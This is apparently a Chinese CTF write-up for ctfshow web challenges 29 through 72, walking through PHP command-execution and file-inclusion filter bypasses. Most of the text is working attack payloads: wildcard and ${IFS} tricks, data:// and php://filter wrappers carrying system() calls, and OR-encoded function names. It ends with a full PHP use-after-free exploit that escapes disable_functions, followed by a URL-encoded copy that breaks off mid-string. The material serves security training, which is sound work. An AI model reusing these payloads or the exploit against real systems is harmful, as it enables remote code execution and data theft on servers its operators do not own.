# web29
<?php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
?c=system('cat f?ag.php'); | |
?c=echo `cat fla?.ph?`; | |
c=passthru('cat fla?.ph?'); | |
?c=echo shell_exec('cat f*'); |
就过滤了一个 flag,问号匹配一下绕过
system()
passthru()
exec()//没有回显,返回最后一行
shell_exec()//没有返回结果
上面的函数都可以执行命令
# web30
<?php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
黑名单加入了 php 和 system,同上可绕过
# web31
<?php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
黑名单新加入 cat,sort,shell,.,'
?c=echo%09`tac%09fl*`;
?c=passthru("tac%09f*");
这里也简单的解释一下 ctfshow 给的 payload
show_source(next(array_reverse(scandir(pos(localeconv()))))); |
localeconv() 函数返回一包含本地数字及货币格式信息的数组。数组的第一项是’.‘ | |
localeconv() 函数会返回以下数组元素: | |
[decimal_point] - 小数点字符 | |
[thousands_sep] - 千位分隔符 | |
[int_curr_symbol] - 货币符号 (例如:USD) | |
[currency_symbol] - 货币符号 (例如:$) | |
[mon_decimal_point] - 货币小数点字符 | |
[mon_thousands_sep] - 货币千位分隔符 | |
[positive_sign] - 正值字符 | |
[negative_sign] - 负值字符 | |
[int_frac_digits] - 国际通用小数位 | |
[frac_digits] - 本地通用小数位 | |
[p_cs_precedes] - 如果货币符号在一个正数值之前显示,则为 True(1),如果在正数值之后显示,则为 False(0) | |
[p_sep_by_space] - 如果在货币符号和正数值之间包含空格,则为 True(1),否则为 False(0) | |
[n_cs_precedes] - 如果货币符号在一个负数值之前显示,则为 True(1),如果在负数值之后显示,则为 False(0) | |
[n_sep_by_space] - 如果在货币符号和负数值之间包含空格,则为 True(1),否则为 False(0) | |
[p_sign_posn] - 格式化选项: | |
0 - 把数量和货币符号写在圆括号内 | |
1 - 在数量和货币符号之前加上 + 号 | |
2 - 在数量和货币符号之后加上 + 号 | |
3 - 直接在货币符号之前加上 + 号 | |
4 - 直接在货币符号之后加上 + 号 | |
[n_sign_posn] - 格式化选项: | |
0 - 把数量和货币符号写在圆括号内 | |
1 - 在数量和货币符号之前加上 - 号 | |
2 - 在数量和货币符号之后加上 - 号 | |
3 - 直接在货币符号之前加上 - 号 | |
4 - 直接在货币符号之后加上 - 号 | |
[grouping] - 显示数字组合形式的数组(例如:3 指示 1 000 000) | |
[mon_grouping] - 显示货币数字组合形式的数组(例如:2 指示 1 00 00 00) |
pos(),current():返回数组第一个值// 配合上面的 localeconv () 可以返回一个点 |
scandir() 函数返回指定目录中的文件和目录的数组。 |
end():数组指针指向最后一位 | |
next(): 数组指针指向下一位 | |
array_reverse(): 将数组颠倒 | |
array_rand(): 随机返回数组的键名 | |
array_flip():交换数组的键和值 | |
读取文件: | |
file_get_content() | |
readfile() | |
highlight_file() | |
show_source() |
# web32
<?php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤限制加入了反引号、echo、;、(
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
过滤了括号,include 函数不需要括号
# web37
<?php | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
include($c); | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
这已经知道 flag 在 flag.php 中了,利用伪协议读取 flag
1、php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行
可以获取POST的数据流
2、php://filter
php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码
可以获取指定文件的源码,但是当他与包含函数结合是,php://filter流会被当做php文件执行
。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取
4、data://
data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
同样类似于php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data://text/plain,<?php system('cat fl?g.php');
# web38
<?php | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|php|file/i", $c)){ | |
include($c); | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
增加了 php 和 file,还是使用 data 伪协议
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
# web39
<?php | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
include($c.".php"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
有限制的文件包含,但是将 php 代码闭合即可
?c=data://text/plain,<?php system('tac fla?.php');?>
# web40
<?php | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
有限制的代码执行,我还在像这全都过滤了怎么解决,后来发现这个括号过滤的是中文的,那么就可以构造和 web31 一样的 payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
也可以使用 sessionID 来构造命令执行
session——start();system(session_id());
ID=ls//这里打开flag我没有测试成功,应该是php版本的问题,
这里打开 flag 我没有测试成功,应该是 php 版本的问题,这里有报错显示字符只能是数字字母加下划线
# web41
<?php | |
if(isset($_POST['c'])){ | |
$c = $_POST['c']; | |
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ | |
eval("echo($c);"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
过滤了很多字符,但是没有过滤 |,一般看到这种特别全的过滤都是过滤无参 rce, 使用或运算
<?php | |
for($i=0;$i<256;$i++){ | |
for ($j=0;$j<256;$j++){ | |
if ($i<16){ | |
$hex_i='0'.dechex($i); | |
}else{ | |
$hex_i=dechex($i); | |
} | |
if ($j<16){ | |
$hex_j='0'.dechex($j); | |
}else{ | |
$hex_j=dechex($j); | |
} | |
$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';// 题目的正则 | |
if (preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){ | |
echo ""; | |
}else{ | |
$a='%'.$hex_i; | |
$b='%'.$hex_j; | |
$c=(urldecode($a)|urldecode($b)); | |
if(ord($c)>=32&&ord($c)<=126){ | |
echo $c." ".$a." ".$b."\n"; | |
} | |
} | |
} | |
} |
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%60%60"|"%0c%13")
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%60%60%60%00%60%60%60%60%00%60%60%60"|"%03%01%14%20%06%0c%01%07%2e%10%08%10")
# web42
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
system($c." >/dev/null 2>&1"); | |
}else{ | |
highlight_file(__FILE__); | |
} |
命令执行拼接了一个重定向,将后面的部分绕过即可
用 %0a 或者;、&、| 都可以绕过
# web43
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
增加了分号和 cat 的限制,打开文件的命令除去 cat 还有很多,上题提到的分隔符选一个没过滤的
# web44
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/;|cat|flag/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
多了一个正则 flag,匹配符绕过
# web45
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| /i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
增加了空格替换空格的方式很多
?c=sort%09fl*||
# web46
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
增加了数字和 $*
?c=tac<fl''ag.php||
# web47
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
增加了几个打开文件的命令,但是没有完全过滤,tac 和 nl 都可以用
# web52
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤增加了 <>,但是没有 $ 了,空格换一下能用的就行,flag 也换地方了
?c=nl${IFS}/fla''g||
# web53
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
echo($c); | |
$d = system($c); | |
echo "<br>".$d; | |
}else{ | |
echo 'no'; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
# web54
<?php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
c=/bin/c?t${IFS}f???????
# web55
<?php | |
// 你们在炫技吗? | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了字母,%
这里可以利用 Linux 的两个小特性
- shell 下可以通过 "." 来执行任意脚本文件
- Linux 下文件名支持 glob 通配符代替
用 "." file 执行文件是不需要文件有执行权限的,那么怎么能得到一个可控文件呢,很简单,上传一个文件通过临时文件来执行控制文件,这个文件会保存到临时文件下,默认是 /tmp/phpxxxxxx 后 6 位是随机的字母,最后一个一般是大写
但是这个题过滤了字母,怎么指向文件呢,这就用到第二个特性通配符
先写一个简单的上传表单上传一个文件
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<meta name="viewport" content="width=\, initial-scale=1.0"> | |
<title>Document</title> | |
</head> | |
<body> | |
<!-- // 上传表单 --> | |
<form action="http://84aea9a6-e0af-456f-93a2-9bec25124c84.challenge.ctf.show/" method="post" enctype="multipart/form-data"> | |
<input type="file" name="file"> | |
<input type="submit" value="上传"> | |
</form> | |
</body> | |
</html> |
然后执行命令
# web56
<?php | |
// 你们在炫技吗? | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
有改动,但是没影响
# web57
<?php | |
// 还能炫的动吗? | |
//flag in 36.php | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ | |
system("cat ".$c.".php"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了一堆东西,想办法构造 36 即可
找数字?这不就有了
$(())
代表做一次运算,因为里面为空,也表示值为 0$((~$(())))
对 0 作取反运算,值为 - 1
接下来开始构造对这个取反获得正数
那么接下来构造出 - 37,然后取反就行
data = "$((~$(("+"$((~$(())))"*37+"))))" | |
print(data) |
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
# web58
<?php | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
我开始还在疑惑怎么没过滤了,原来是开始禁用函数了,禁用了 system 函数,尝试 scandir,将结果输出
c=var_dump(scandir('.'));
c=print_r(scandir('.'));
c=echo file_get_contents("flag.php"); | |
c=readfile("flag.php"); | |
c=var_dump(file('flag.php')); | |
c=print_r(file('flag.php')); | |
// 读文件 | |
show_source("flag.php"); | |
highlight_file("flag.php"); | |
// 高亮文件内容 |
补充:上面的 file 是将文件内容读入到一个数组中
# web59
<?php | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
}else{ | |
highlight_file(__FILE__); | |
} |
emmmm 没看到加了啥,我都以为我开错环境了
// 通过复制,重命名读取使得文件不能被当作 php 解析 | |
copy() | |
rename() | |
// 用法: | |
copy("flag.php","flag.txt"); | |
rename("flag.php","flag.txt"); |
# web71
<?php | |
error_reporting(0); | |
ini_set('display_errors', 0); | |
// 你们在炫技吗? | |
if(isset($_POST['c'])){ | |
$c= $_POST['c']; | |
eval($c); | |
$s = ob_get_contents(); | |
ob_end_clean(); | |
echo preg_replace("/[0-9]|[a-z]/i","?",$s); | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
使用 ob_get_contents (),ob_end_clean (); 函数将命令执行的回显,这里也简单,使用 exit () 将后面的部分结束就行。
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);// 利用原生类 | |
c=require_once('/flag.txt');exit(); |
# web72
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); |
看到 flag 在 /flag0.txt,读文件,但是没有权限
使用 uaf 脚本绕过
<?php | |
function ctfshow($cmd) { | |
global $abc, $helper, $backtrace; | |
class Vuln { | |
public $a; | |
public function __destruct() { | |
global $backtrace; | |
unset($this->a); | |
$backtrace = (new Exception)->getTrace(); | |
if(!isset($backtrace[1]['args'])) { | |
$backtrace = debug_backtrace(); | |
} | |
} | |
} | |
class Helper { | |
public $a, $b, $c, $d; | |
} | |
function str2ptr(&$str, $p = 0, $s = 8) { | |
$address = 0; | |
for($j = $s-1; $j >= 0; $j--) { | |
$address <<= 8; | |
$address |= ord($str[$p+$j]); | |
} | |
return $address; | |
} | |
function ptr2str($ptr, $m = 8) { | |
$out = ""; | |
for ($i=0; $i < $m; $i++) { | |
$out .= sprintf("%c",($ptr & 0xff)); | |
$ptr >>= 8; | |
} | |
return $out; | |
} | |
function write(&$str, $p, $v, $n = 8) { | |
$i = 0; | |
for($i = 0; $i < $n; $i++) { | |
$str[$p + $i] = sprintf("%c",($v & 0xff)); | |
$v >>= 8; | |
} | |
} | |
function leak($addr, $p = 0, $s = 8) { | |
global $abc, $helper; | |
write($abc, 0x68, $addr + $p - 0x10); | |
$leak = strlen($helper->a); | |
if($s != 8) { $leak %= 2 << ($s * 8) - 1; } | |
return $leak; | |
} | |
function parse_elf($base) { | |
$e_type = leak($base, 0x10, 2); | |
$e_phoff = leak($base, 0x20); | |
$e_phentsize = leak($base, 0x36, 2); | |
$e_phnum = leak($base, 0x38, 2); | |
for($i = 0; $i < $e_phnum; $i++) { | |
$header = $base + $e_phoff + $i * $e_phentsize; | |
$p_type = leak($header, 0, 4); | |
$p_flags = leak($header, 4, 4); | |
$p_vaddr = leak($header, 0x10); | |
$p_memsz = leak($header, 0x28); | |
if($p_type == 1 && $p_flags == 6) { | |
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; | |
$data_size = $p_memsz; | |
} else if($p_type == 1 && $p_flags == 5) { | |
$text_size = $p_memsz; | |
} | |
} | |
if(!$data_addr || !$text_size || !$data_size) | |
return false; | |
return [$data_addr, $text_size, $data_size]; | |
} | |
function get_basic_funcs($base, $elf) { | |
list($data_addr, $text_size, $data_size) = $elf; | |
for($i = 0; $i < $data_size / 8; $i++) { | |
$leak = leak($data_addr, $i * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
if($deref != 0x746e6174736e6f63) | |
continue; | |
} else continue; | |
$leak = leak($data_addr, ($i + 4) * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
if($deref != 0x786568326e6962) | |
continue; | |
} else continue; | |
return $data_addr + $i * 8; | |
} | |
} | |
function get_binary_base($binary_leak) { | |
$base = 0; | |
$start = $binary_leak & 0xfffffffffffff000; | |
for($i = 0; $i < 0x1000; $i++) { | |
$addr = $start - 0x1000 * $i; | |
$leak = leak($addr, 0, 7); | |
if($leak == 0x10102464c457f) { | |
return $addr; | |
} | |
} | |
} | |
function get_system($basic_funcs) { | |
$addr = $basic_funcs; | |
do { | |
$f_entry = leak($addr); | |
$f_name = leak($f_entry, 0, 6); | |
if($f_name == 0x6d6574737973) { | |
return leak($addr + 8); | |
} | |
$addr += 0x20; | |
} while($f_entry != 0); | |
return false; | |
} | |
function trigger_uaf($arg) { | |
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
$vuln = new Vuln(); | |
$vuln->a = $arg; | |
} | |
if(stristr(PHP_OS, 'WIN')) { | |
die('This PoC is for *nix systems only.'); | |
} | |
$n_alloc = 10; | |
$contiguous = []; | |
for($i = 0; $i < $n_alloc; $i++) | |
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); | |
trigger_uaf('x'); | |
$abc = $backtrace[1]['args'][0]; | |
$helper = new Helper; | |
$helper->b = function ($x) { }; | |
if(strlen($abc) == 79 || strlen($abc) == 0) { | |
die("UAF failed"); | |
} | |
$closure_handlers = str2ptr($abc, 0); | |
$php_heap = str2ptr($abc, 0x58); | |
$abc_addr = $php_heap - 0xc8; | |
write($abc, 0x60, 2); | |
write($abc, 0x70, 6); | |
write($abc, 0x10, $abc_addr + 0x60); | |
write($abc, 0x18, 0xa); | |
$closure_obj = str2ptr($abc, 0x20); | |
$binary_leak = leak($closure_handlers, 8); | |
if(!($base = get_binary_base($binary_leak))) { | |
die("Couldn't determine binary base address"); | |
} | |
if(!($elf = parse_elf($base))) { | |
die("Couldn't parse ELF header"); | |
} | |
if(!($basic_funcs = get_basic_funcs($base, $elf))) { | |
die("Couldn't get basic_functions address"); | |
} | |
if(!($zif_system = get_system($basic_funcs))) { | |
die("Couldn't get zif_system address"); | |
} | |
$fake_obj_offset = 0xd0; | |
for($i = 0; $i < 0x110; $i += 8) { | |
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); | |
} | |
write($abc, 0x20, $abc_addr + $fake_obj_offset); | |
write($abc, 0xd0 + 0x38, 1, 4); | |
write($abc, 0xd0 + 0x68, $zif_system); | |
($helper->b)($cmd); | |
exit(); | |
} | |
ctfshow("cat /flag0.txt");ob_end_flush(); | |
?> |
c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%